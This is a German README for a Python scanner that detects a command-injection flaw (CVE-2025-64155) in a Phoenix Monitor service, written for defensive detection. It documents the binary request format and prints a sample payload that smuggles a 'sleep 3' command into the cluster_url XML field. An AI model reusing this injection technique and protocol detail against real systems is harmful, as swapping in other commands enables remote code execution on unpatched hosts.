CVE-2025-64155 Scanner

Ein Python-Scanner zur Erkennung der Befehlseinschleusungs-Schwachstelle (CVE-2025-64155) im Phoenix Monitor-Dienst.

Beschreibung

CVE-2025-64155 ist eine Befehlseinschleusungs-Schwachstelle im Phoenix Monitor-Dienst, die Remote-Code-Ausführung über den Parameter cluster_url im Befehl handleStorageRequest (Befehls-ID: 1075724911) ermöglicht.

Die Schwachstelle tritt auf, wenn eine benutzergesteuerte Eingabe im Feld cluster_url ohne ordnungsgemäße Bereinigung an einen Shell-Befehl übergeben wird, was eine Befehlseinschleusung über Shell-Metazeichen ermöglicht.

Dieser Scanner basiert auf der Exploit-Forschung von Horizon3AI.

Funktionen

• Zeitbasierte Erkennung: Verwendet eine sichere, nicht-destruktive zeitbasierte Erkennungsmethode
• SSL/TLS-Unterstützung: Behandelt SSL-Verbindungen mit Umgehung der Zertifikatsüberprüfung
• Ausführlicher Modus: Detaillierte Ausgabe zum Debuggen
• Dienstprüfung: Option, um zu prüfen, ob der Dienst erreichbar ist, ohne die Schwachstelle zu testen

Voraussetzungen

• Python 3.6+
• Nur Standardbibliothek (keine externen Abhängigkeiten)

Verwendung

Basisscan

python3 scanner.py -t <target_ip>

Erweiterte Optionen

# Specify custom port
python3 scanner.py -t 192.168.1.100 -p 7900

# Enable verbose output
python3 scanner.py -t 192.168.1.100 -v

# Set custom timeout
python3 scanner.py -t 192.168.1.100 --timeout 15

# Check if service is accessible (no vulnerability test)
python3 scanner.py -t 192.168.1.100 --check-only

Befehlszeilenargumente

• -t, --target: Ziel-IP-Adresse oder Hostname (erforderlich)
• -p, --port: Port des Phoenix Monitor-Dienstes (Standard: 7900)
• --timeout: Verbindungs-Timeout in Sekunden (Standard: 10)
• -v, --verbose: Ausführliche Ausgabe aktivieren
• --check-only: Nur prüfen, ob der Dienst erreichbar ist

Funktionsweise

Der Scanner verwendet eine zeitbasierte Erkennungsmethode:

1. Stellt eine Verbindung zum Phoenix Monitor-Dienst über SSL/TLS her
2. Sendet einen handleStorageRequest-Befehl mit einer schädlichen Nutzlast, die sleep 3 im Feld cluster_url enthält
3. Misst die Antwortzeit
4. Wenn die Antwort um ~3 Sekunden verzögert ist, ist das Ziel wahrscheinlich anfällig (Befehl wurde ausgeführt)

Diese Methode ist sicher und nicht destruktiv – sie führt keine schädlichen Befehle aus, sondern nur einen harmlosen sleep-Befehl zu Erkennungszwecken.

Beispielausgabe

Anfälliges Ziel

[*] CVE-2025-64155 Scanner
[*] Target: 192.168.1.100:7900

[*] Scanning 192.168.1.100:7900 for CVE-2025-64155...
[*] Connecting to 192.168.1.100:7900...
[*] Connected successfully
[*] Sending test payload...
[*] Received response (1024 bytes) in 3.12 seconds

============================================================
[+] VULNERABLE: Target appears to be vulnerable to CVE-2025-64155
[+] Details: Time-based detection: Response delayed by 3.12s (likely command injection)

Nicht anfälliges Ziel

[*] CVE-2025-64155 Scanner
[*] Target: 192.168.1.100:7900

[*] Scanning 192.168.1.100:7900 for CVE-2025-64155...
[*] Connecting to 192.168.1.100:7900...
[*] Connected successfully
[*] Sending test payload...
[*] Received response (1024 bytes) in 0.45 seconds

============================================================
[-] NOT VULNERABLE: Target does not appear to be vulnerable
[-] Details: Response received quickly (0.45s), likely not vulnerable

Technische Details

Nachrichtenformat

Der Scanner sendet eine binäre Nachricht mit der folgenden Struktur:

[4 Bytes] Nachrichtenlänge (156)
[4 Bytes] Nutzlastlänge
[4 Bytes] Befehls-ID (1075724911 = 0x4018006F = handleStorageRequest)
[4 Bytes] Padding/Flags (0)
[Variable] XML-Nutzlast

Nutzlaststruktur

Die XML-Nutzlast enthält eine Befehlseinschleusung im Feld cluster_url:

<TEST_STORAGE type="elastic">
    <cluster_url>http://10.0.0.1:9200 --next -o /dev/null sleep 3</cluster_url>
    ...
</TEST_STORAGE>

Haftungsausschluss

Dieses Tool ist nur für autorisierte Sicherheitstests und Forschungszwecke bestimmt. Verwenden Sie dieses Tool nur auf Systemen, die Ihnen gehören oder für die Sie ausdrückliche Erlaubnis zum Testen haben. Unbefugter Zugriff auf Computersysteme ist illegal.

Lizenz

MIT-Lizenz – siehe LICENSE-Datei für Details.